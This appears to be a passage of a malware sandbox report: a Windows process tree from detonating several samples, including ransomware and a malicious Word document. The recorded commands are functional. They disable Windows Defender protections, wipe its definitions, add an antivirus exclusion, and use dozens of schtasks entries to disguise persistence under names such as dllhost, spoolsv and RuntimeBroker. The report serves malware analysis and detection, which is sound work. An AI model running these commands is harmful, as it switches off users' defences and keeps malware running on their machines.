                                                                                                                                                PID:8132
                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
                                                                                                                                              4⤵
                                                                                                                                                PID:6244
                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                                                                                                                                                  5⤵
                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                  PID:8380
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'"
                                                                                                                                                4⤵
                                                                                                                                                  PID:6260
                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                    powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'
                                                                                                                                                    5⤵
                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                    PID:7744
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                                  4⤵
                                                                                                                                                    PID:6480
                                                                                                                                                    • C:\Windows\system32\tasklist.exe
                                                                                                                                                      tasklist /FO LIST
                                                                                                                                                      5⤵
                                                                                                                                                      • Enumerates processes with tasklist
                                                                                                                                                      PID:8040
                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                                    4⤵
                                                                                                                                                      PID:5668
                                                                                                                                                      • C:\Windows\system32\tasklist.exe
                                                                                                                                                        tasklist /FO LIST
                                                                                                                                                        5⤵
                                                                                                                                                        • Enumerates processes with tasklist
                                                                                                                                                        PID:8064
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\donut.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\donut.exe"
                                                                                                                                                  2⤵
                                                                                                                                                    PID:6348
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\jigsaw_ransom.exe
                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\jigsaw_ransom.exe"
                                                                                                                                                    2⤵
                                                                                                                                                      PID:6600
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Drpbx\drpbx.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Local\Drpbx\drpbx.exe" C:\Users\Admin\AppData\Local\Temp\jigsaw_ransom.exe
                                                                                                                                                        3⤵
                                                                                                                                                          PID:6620
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\OMG u guize ROGUEAMP IS A 1337 UTUBEZ haXx0r.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\OMG u guize ROGUEAMP IS A 1337 UTUBEZ haXx0r.exe"
                                                                                                                                                        2⤵
                                                                                                                                                          PID:6960
                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\mekkiwtffc\stiydxpkh.exe
                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\mekkiwtffc\stiydxpkh.exe"
                                                                                                                                                            3⤵
                                                                                                                                                              PID:8784
                                                                                                                                                              • C:\Program Files (x86)\virus.jk.jk.exe
                                                                                                                                                                "C:\Program Files (x86)\virus.jk.jk.exe" C:\Users\Admin\AppData\Roaming\mekkiwtffc\stiydxpkh.exe
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:7860
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Windows Service.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Windows Service.exe"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:5808
                                                                                                                                                              • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
                                                                                                                                                                "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\244b4205acb416700bec459c8b36be379c0b7e3d2a21a57c4a121ba95d229bc4.doc" /o ""
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:6500
                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 9 /tr "'C:\Program Files\Microsoft Office\PackageManifests\spoolsv.exe'" /f
                                                                                                                                                                1⤵
                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                PID:5752
                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office\PackageManifests\spoolsv.exe'" /rl HIGHEST /f
                                                                                                                                                                1⤵
                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                PID:6004
                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 5 /tr "'C:\Program Files\Microsoft Office\PackageManifests\spoolsv.exe'" /rl HIGHEST /f
                                                                                                                                                                1⤵
                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                PID:6040
                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\WindowsPowerShell\dllhost.exe'" /f
                                                                                                                                                                1⤵
                                                                                                                                                                • Process spawned unexpected child process
                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                PID:2780
                                                                                                                                                              • C:\Windows\helppane.exe
                                                                                                                                                                C:\Windows\helppane.exe -Embedding
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:3484
                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:https://go.microsoft.com/fwlink/?LinkId=528881
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:7080
                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff860dd46f8,0x7ff860dd4708,0x7ff860dd4718
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:5360
                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2152,2779236300218063539,18102852175143233909,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2108 /prefetch:2
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:8748
                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2152,2779236300218063539,18102852175143233909,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 /prefetch:3
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:8760
                                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2152,2779236300218063539,18102852175143233909,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2888 /prefetch:8
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:8768
                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2779236300218063539,18102852175143233909,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:1
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:6896
                                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2779236300218063539,18102852175143233909,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3360 /prefetch:1
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:1284
                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,2779236300218063539,18102852175143233909,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5452 /prefetch:1
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:7896
                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                  schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files (x86)\WindowsPowerShell\dllhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                  PID:5332
                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                  schtasks.exe /create /tn "7f1630df6b57af024a3b561bdadc208f7" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Media Player\es-ES\7f1630df6b57af024a3b561bdadc208f.exe'" /f
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                  PID:5536
                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                  schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\WindowsPowerShell\dllhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                  PID:5428
                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                  schtasks.exe /create /tn "7f1630df6b57af024a3b561bdadc208f" /sc ONLOGON /tr "'C:\Program Files\Windows Media Player\es-ES\7f1630df6b57af024a3b561bdadc208f.exe'" /rl HIGHEST /f
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                  PID:4860
                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                  schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 7 /tr "'C:\Users\Default\dllhost.exe'" /f
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                  PID:3936
                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                  schtasks.exe /create /tn "7f1630df6b57af024a3b561bdadc208f7" /sc MINUTE /mo 13 /tr "'C:\Program Files\Windows Media Player\es-ES\7f1630df6b57af024a3b561bdadc208f.exe'" /rl HIGHEST /f
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                  PID:1644
                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                  schtasks.exe /create /tn "78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae7" /sc MINUTE /mo 14 /tr "'C:\Windows\de-DE\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe'" /f
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                  PID:1964
                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                  schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Users\Default\dllhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                  PID:5908
                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                  schtasks.exe /create /tn "78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae" /sc ONLOGON /tr "'C:\Windows\de-DE\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe'" /rl HIGHEST /f
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                  PID:5664
                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                  schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 5 /tr "'C:\Users\Default\dllhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                  PID:5640
                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                  schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 6 /tr "'C:\Program Files\Windows Media Player\Skins\System.exe'" /f
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                  PID:5648
                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                  schtasks.exe /create /tn "78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae7" /sc MINUTE /mo 9 /tr "'C:\Windows\de-DE\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe'" /rl HIGHEST /f
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                  PID:5224
                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                  schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Program Files\Windows Media Player\Skins\System.exe'" /rl HIGHEST /f
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                  PID:5164
                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                  schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Program Files\Microsoft Office\RuntimeBroker.exe'" /f
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                  PID:6272
                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                  schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 6 /tr "'C:\Program Files\Windows Media Player\Skins\System.exe'" /rl HIGHEST /f
                                                                                                                                                                                  1⤵
                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                  PID:6300
                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1544 -ip 1544
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:6320
                                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                    schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office\RuntimeBroker.exe'" /rl HIGHEST /f
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                    PID:6812
                                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                    schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\WindowsPowerShell\sppsvc.exe'" /f
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                    PID:6820
                                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                    schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Program Files\Microsoft Office\RuntimeBroker.exe'" /rl HIGHEST /f
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                    PID:4572
                                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                    schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Program Files (x86)\WindowsPowerShell\sppsvc.exe'" /rl HIGHEST /f
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                    PID:5168
                                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                    schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 5 /tr "'C:\Windows\LiveKernelReports\unsecapp.exe'" /f
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                    PID:6228
                                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                    schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\Program Files\Common Files\microsoft shared\VSTO\10.0\conhost.exe'" /f
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Process spawned unexpected child process
                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                    PID:6616
                                                                                                                                                                                  • C:\Windows\system32\OpenWith.exe
                                                                                                                                                                                    C:\Windows\system32\OpenWith.exe -Embedding
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:5488
                                                                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                      schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\WindowsPowerShell\sppsvc.exe'" /rl HIGHEST /f
                                                                                                                                                                                      1⤵
                                                                                                                                                                                      • Process spawned unexpected child process
                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                      PID:5280
                                                                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                      schtasks.exe /create /tn "unsecapp" /sc ONLOGON /tr "'C:\Windows\LiveKernelReports\unsecapp.exe'" /rl HIGHEST /f
                                                                                                                                                                                      1⤵
                                                                                                                                                                                      • Process spawned unexpected child process
                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                      PID:552
                                                                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                      schtasks.exe /create /tn "SIHClientS" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Portable Devices\SIHClient.exe'" /f
                                                                                                                                                                                      1⤵
                                                                                                                                                                                      • Process spawned unexpected child process
                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                      PID:5820
                                                                                                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                      schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 14 /tr "'C:\Windows\LiveKernelReports\unsecapp.exe'" /rl HIGHEST /f
                                                                                                                                                                                      1⤵
                                                                                                                                                                                      • Process spawned unexpected child process
                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                      PID:6584
                                                                                                                                                                                    • C:\Windows\system32\AUDIODG.EXE
                                                                                                                                                                                      C:\Windows\system32\AUDIODG.EXE 0x4a4 0x4b0
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:1116
                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                        schtasks.exe /create /tn "SIHClient" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Portable Devices\SIHClient.exe'" /rl HIGHEST /f
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                        PID:5248
                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                        schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\Common Files\microsoft shared\VSTO\10.0\conhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                        PID:5672
                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                        schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Defender\uk-UA\sppsvc.exe'" /f
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                        PID:7076
                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                        schtasks.exe /create /tn "SIHClientS" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Portable Devices\SIHClient.exe'" /rl HIGHEST /f
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                        PID:7504
                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                        schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Program Files\Windows Defender\uk-UA\sppsvc.exe'" /rl HIGHEST /f
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                        PID:7556
                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                        schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 7 /tr "'C:\Program Files\Common Files\microsoft shared\VSTO\10.0\conhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                        PID:7608
                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                        schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\MoUsoCoreWorker.exe'" /f
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                        PID:7664
                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                        schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\dwm.exe'" /f
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                        PID:7832
                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                        schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Defender\uk-UA\sppsvc.exe'" /rl HIGHEST /f
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                        PID:7152
                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                        schtasks.exe /create /tn "MoUsoCoreWorker" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\MoUsoCoreWorker.exe'" /rl HIGHEST /f
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                        PID:4848
                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                        schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\dwm.exe'" /rl HIGHEST /f
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                        PID:8388
                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                        schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\dwm.exe'" /rl HIGHEST /f
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                        PID:8812
                                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                        schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Windows\InputMethod\CHS\SearchApp.exe'" /rl HIGHEST /f
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Process spawned unexpected child process
                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                        PID:7544
                                                                                                                                                                                      • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:2456
                                                                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                          schtasks.exe /create /tn "2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c2" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe'" /f
                                                                                                                                                                                          1⤵
                                                                                                                                                                                          • Process spawned unexpected child process
                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                          PID:6076
                                                                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                          schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 11 /tr "'C:\Windows\InputMethod\CHS\SearchApp.exe'" /rl HIGHEST /f
                                                                                                                                                                                          1⤵
                                                                                                                                                                                          • Process spawned unexpected child process
                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                          PID:8368
                                                                                                                                                                                        • C:\Windows\system32\schtasks.exe
